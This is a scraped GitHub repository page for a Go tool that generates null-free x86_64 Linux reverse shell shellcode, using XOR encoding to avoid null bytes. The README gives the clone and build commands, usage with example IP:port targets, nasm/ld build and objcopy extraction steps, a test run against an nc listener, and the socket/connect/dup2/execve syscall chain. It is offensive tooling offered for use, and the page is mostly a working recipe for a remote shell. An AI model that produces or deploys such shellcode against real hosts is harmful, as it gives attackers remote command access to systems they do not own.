Skip to content

Xre0uS/linux-reverse-shell-in-assembly

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Linux x86_64 Reverse Shell in Assembly

A null-free x86_64 reverse shell shellcode generator for Linux. Automatically detects and eliminates null bytes using XOR.

  • Null-free shellcode generation
  • Automatic XOR encoding when needed
  • ~76-82 bytes shellcode size
  • Detailed assembly comments

Installation

git clone https://github.com/Xre0uS/linux-reverse-shell-in-assembly.git
cd linux-reverse-shell-in-assembly
go build -o revshell-gen

Usage

# Basic usage
./revshell-gen -i 192.168.1.100:4444

# Custom output file
./revshell-gen -i 10.0.0.1:8888 -o myshell.asm

# Building
nasm -f elf64 shell.asm -o shell.o
ld shell.o -o shell

# Extract Shellcode
objcopy -O binary --only-section=.text shell shell.bin
xxd shell.bin

Testing

# Terminal 1: Start listener
nc -lvp 4444

# Terminal 2: Generate and run
./revshell-gen -i <your-ip>:4444
nasm -f elf64 shell.asm -o shell.o
ld shell.o -o shell
./shell

Syscalls

  1. socket(41) - Create TCP socket
  2. connect(42) - Connect to target IP:PORT
  3. dup2(33) - Redirect stdin/stdout/stderr to socket
  4. execve(59) - Execute /bin/sh

Null bytes are automatically avoided using XOR encoding (0xfefefefe for IP, 0xffffffff for port+family).

About

Linux TCP reverse shell in assembly for x86_64 architecture

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published